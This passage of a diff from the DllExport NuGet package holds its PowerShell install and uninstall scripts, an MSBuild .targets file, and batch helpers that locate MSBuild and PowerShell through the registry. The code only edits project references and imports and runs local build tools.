# $dllConf = Get-TempPathToConfiguratorIfNotLoaded 'net.r_eg.DllExport.Configurator.dll' "$toolsPath"
# if($dllConf) {
# Import-Module $dllConf;
# }
Import-Module (Load-Configurator "$toolsPath")
Set-Configuration -MetaLib "$metaLib" -InstallPath "$installPath" -ToolsPath "$toolsPath" -ProjectDTE $project -ProjectsMBE $gpc;
# change the reference to DllExport.dll to not be copied locally
$project.Object.References | ? {
$_.Name -ieq $assemblyFName -And $_.PublicKeyToken -ieq $publicKeyToken
} | % {
if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){
$_.CopyLocal = $false
}
}
$projects | % {
$currentProject = $_
# remove imports of net.r_eg.DllExport.targets from this project
$currentProject.Xml.Imports | ? {
return ($targetFileName -ieq [IO.Path]::GetFileName($_.Project))
} | % {
$currentProject.Xml.RemoveChild($_);
}
# remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName
$currentProject.Xml.Properties | ? {
$_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName"
} | % {
$_.Parent.RemoveChild($_)
}
$projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute
$relativeUrl = $projectUri.MakeRelative($targetUri)
$import = $currentProject.Xml.AddImport($relativeUrl)
$import.Condition = "Exists('$relativeUrl')";
# remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it)
Remove-OldDllExportFolder $project
}
@@ -0,0 +1,63 @@
@echo off
setlocal enableDelayedExpansion
:: The MSBuild-helper. Part of GetNuTool
:: https://github.com/3F/GetNuTool
:: arguments:
::
:: msbuild -notamd64 <args> - to select x86 instance instead of x64 if it's possible.
:: msbuild <args> - to select any available instance.
::
set args=%*
set notamd64=0
set a=%args:~0,30%
set a=%a:"=%
if "%a:~0,9%"=="-notamd64" (
call :popa %1
shift
set notamd64=1
)
for %%v in (14.0, 12.0, 15.0, 4.0, 3.5, 2.0) do (
for /F "usebackq tokens=2* skip=2" %%a in (
`reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul`
) do if exist %%b (
if NOT "%notamd64%" == "1" (
set msbuild=%%b\msbuild.exe
goto found
)
:: 7z & amd64\msbuild - https://github.com/3F/vsSolutionBuildEvent/issues/38
set _amd=..\msbuild.exe
if exist "%%b/!_amd!" (
set msbuild=%%b\!_amd!
) else (
set msbuild=%%b\msbuild.exe
)
goto found
)
)
echo MSBuild was not found, try: ` "full_path_to_msbuild.exe" arguments ` 1>&2
goto exit
:found
set msbuild="%msbuild%"
echo MSBuild Tools: %msbuild%
%msbuild% %args%
:popa
call set args=%%args:%1^=%%
exit /B 0
:exit
exit /B 0
@@ -0,0 +1,75 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<DllExportRootPkg Condition="'$(DllExportRootPkg)' == ''">$(MSBuildThisFileDirectory)..\</DllExportRootPkg>
<DllExportLibPath Condition="'$(DllExportLibPath)' == ''">lib\net20\</DllExportLibPath>
<DllExportToolsPath Condition="'$(DllExportToolsPath)' == ''">tools\</DllExportToolsPath>
<DllExportNamespace Condition="'$(DllExportNamespace)' == ''">System.Runtime.InteropServices</DllExportNamespace>
<DllExportLibFullPath Condition="'$(DllExportLibFullPath)' == ''">$(DllExportRootPkg)$(DllExportLibPath)</DllExportLibFullPath>
<DllExportMetaLibAttr Condition="'$(DllExportMetaLibAttr)' == ''">DllExportAttribute</DllExportMetaLibAttr>
<DllExportMetaLibName Condition="'$(DllExportMetaLibName)' == ''">DllExport.dll</DllExportMetaLibName>
<DllExportMetaLibFullPath Condition="'$(DllExportMetaLibFullPath)' == ''">$(DllExportLibFullPath)$(DllExportMetaLibName)</DllExportMetaLibFullPath>
<DllExportDDNSCecil Condition="'$(DllExportDDNSCecil)' == ''">true</DllExportDDNSCecil>
<DllExportOurILAsm Condition="'$(DllExportOurILAsm)' == ''">true</DllExportOurILAsm>
<DllExportOurILAsmPath Condition="'$(DllExportOurILAsmPath)' == ''">$(DllExportRootPkg)$(DllExportToolsPath)coreclr\</DllExportOurILAsmPath>
</PropertyGroup>
<Target Name="DllExportMod" AfterTargets="PostBuildEvent;Build" DependsOnTargets="GetFrameworkPaths">
<PropertyGroup>
<DllExportPlatform Condition="'$(DllExportPlatform)' == ''">$(Platform)</DllExportPlatform>
<DllExportPlatformTarget Condition="'$(DllExportPlatformTarget)' == ''">$(PlatformTarget)</DllExportPlatformTarget>
<DllExportCpuType Condition="'$(DllExportCpuType)' == ''">$(CpuType)</DllExportCpuType>
<DllExportEmitDebugSymbols Condition="'$(DllExportEmitDebugSymbols)' == ''">$(DebugSymbols)</DllExportEmitDebugSymbols>
<DllExportLeaveIntermediateFiles Condition="'$(DllExportLeaveIntermediateFiles)' == ''">false</DllExportLeaveIntermediateFiles>
<DllExportTimeout Condition="'$(DllExportTimeout)' == ''">$(DllExportTimeout)</DllExportTimeout>
<DllExportKeyContainer Condition="'$(DllExportKeyContainer)' == ''">$(KeyContainerName)$(AssemblyKeyContainerName)</DllExportKeyContainer>
<DllExportKeyFile Condition="'$(DllExportKeyFile)' == ''">$(KeyOriginatorFile)</DllExportKeyFile>
<DllExportProjectDirectory Condition="'$(DllExportProjectDirectory)' == ''">$(MSBuildProjectDirectory)</DllExportProjectDirectory>
<DllExportInputFileName Condition="'$(DllExportInputFileName)' == ''">$(TargetPath)</DllExportInputFileName>
<DllExportFrameworkPath Condition="'$(DllExportFrameworkPath)' == ''">$(TargetedFrameworkDir);$(TargetFrameworkDirectory)</DllExportFrameworkPath>
<DllExportLibToolPath Condition="'$(DllExportLibToolPath)' == ''">$(DevEnvDir)\..\..\VC\bin</DllExportLibToolPath>
<DllExportLibToolDllPath Condition="'$(DllExportLibToolDllPath)' == ''">$(DevEnvDir)</DllExportLibToolDllPath>
<DllExportTargetFrameworkVersion Condition="'$(DllExportTargetFrameworkVersion)' == ''">$(TargetFrameworkVersion)</DllExportTargetFrameworkVersion>
<DllExportSdkPath Condition="'$(DllExportSdkPath)' == ''">$(TargetFrameworkSDKToolsDirectory)</DllExportSdkPath>
<DllExportSkipOnAnyCpu Condition="'$(DllExportSkipOnAnyCpu)' == ''">$(NoDllExportsForAnyCpu)</DllExportSkipOnAnyCpu>
<DllExportOrdinalsBase Condition="'$(DllExportOrdinalsBase)' == ''">1</DllExportOrdinalsBase>
<DllExportGenExpLib Condition="'$(DllExportGenExpLib)' == ''">false</DllExportGenExpLib>
<DllExportOurILAsmPath Condition="'$(DllExportOurILAsm)' != 'true'"></DllExportOurILAsmPath>
</PropertyGroup>
<DllExportAppDomainIsolatedTask
Platform="$(DllExportPlatform)"
PlatformTarget="$(DllExportPlatformTarget)"
CpuType="$(DllExportCpuType)"
DllExportAttributeFullName="$(DllExportNamespace).$(DllExportMetaLibAttr)"
EmitDebugSymbols="$(DllExportEmitDebugSymbols)"
LeaveIntermediateFiles="$(DllExportLeaveIntermediateFiles)"
Timeout="$(DllExportTimeout)"
KeyContainer="$(DllExportKeyContainer)"
KeyFile="$(DllExportKeyFile)"
ProjectDirectory="$(DllExportProjectDirectory)"
InputFileName="$(DllExportInputFileName)"
FrameworkPath="$(DllExportFrameworkPath)"
LibToolPath="$(DllExportLibToolPath)"
LibToolDllPath="$(DllExportLibToolDllPath)"
TargetFrameworkVersion="$(DllExportTargetFrameworkVersion)"
SdkPath="$(DllExportSdkPath)"
SkipOnAnyCpu="$(DllExportSkipOnAnyCpu)"
OrdinalsBase="$(DllExportOrdinalsBase)"
GenExpLib="$(DllExportGenExpLib)"
OurILAsmPath="$(DllExportOurILAsmPath)"
MetaLib="$(DllExportMetaLibFullPath)"
/>
</Target>
<UsingTask TaskName="RGiesecke.DllExport.MSBuild.DllExportAppDomainIsolatedTask" AssemblyFile="RGiesecke.DllExport.MSBuild.dll" />
<Target Name="DllExportLib" BeforeTargets="PrepareForBuild;BeforeBuild;BeforeRebuild" >
<Exec Condition="!Exists('$(DllExportMetaLibFullPath).ddNSi')"
WorkingDirectory="$(DllExportRootPkg)$(DllExportToolsPath)"
Command="NSBin.bat &quot;$(DllExportMetaLibFullPath)&quot; &quot;$(DllExportNamespace)&quot; &quot;$(DllExportDDNSCecil)&quot;" />
</Target>
</Project>
@@ -0,0 +1,7 @@
@echo off
set dll=%1
set namespace=%2
set useCecil=%3
powershell -NonInteractive -NoProfile -NoLogo -Command "& Import-Module \"%~dp0/NSBin.dll\"; Set-DDNS -Dll \"%dll%\" -Namespace \"%namespace%\" -UseCecil $%useCecil% "
@@ -0,0 +1,24 @@
@echo off
for %%v in (3, 1, 2, 5, 4) do (
for /F "usebackq tokens=2* skip=2" %%a in (
`reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\%%v\PowerShellEngine" /v ApplicationBase 2^> nul`
) do if exist %%b (
set powershell="%%b\powershell.exe"
goto found
)
)
echo PowerShell was not found. Trying call 'as is'
powershell %*
goto exit
:found
echo PowerShell path: %powershell%
%powershell% %*
:exit
@@ -0,0 +1,29 @@
param($installPath, $toolsPath, $package, $project)
$assemblyFName = 'DllExport'
$targetFileName = 'net.r_eg.DllExport.targets'
$metaLib = $([System.IO.Path]::Combine("$installPath", 'lib\net20', $assemblyFName + '.dll'));
$gpc = Get-MBEGlobalProjectCollection
$projects = $gpc.GetLoadedProjects($project.FullName)
# Configurator
# $dllConf = Get-TempPathToConfiguratorIfNotLoaded 'net.r_eg.DllExport.Configurator.dll' "$toolsPath"
# if($dllConf) {
# Import-Module $dllConf;
# }
Import-Module (Load-Configurator "$toolsPath")
Reset-Configuration -MetaLib "$metaLib" -InstallPath "$installPath" -ToolsPath "$toolsPath" -ProjectDTE $project -ProjectsMBE $gpc;
#
return $projects | % {
$currentProject = $_
$currentProject.Xml.Imports | ? {
$targetFileName -ieq [System.IO.Path]::GetFileName($_.Project)
} | % {
$currentProject.Xml.RemoveChild($_)
}
}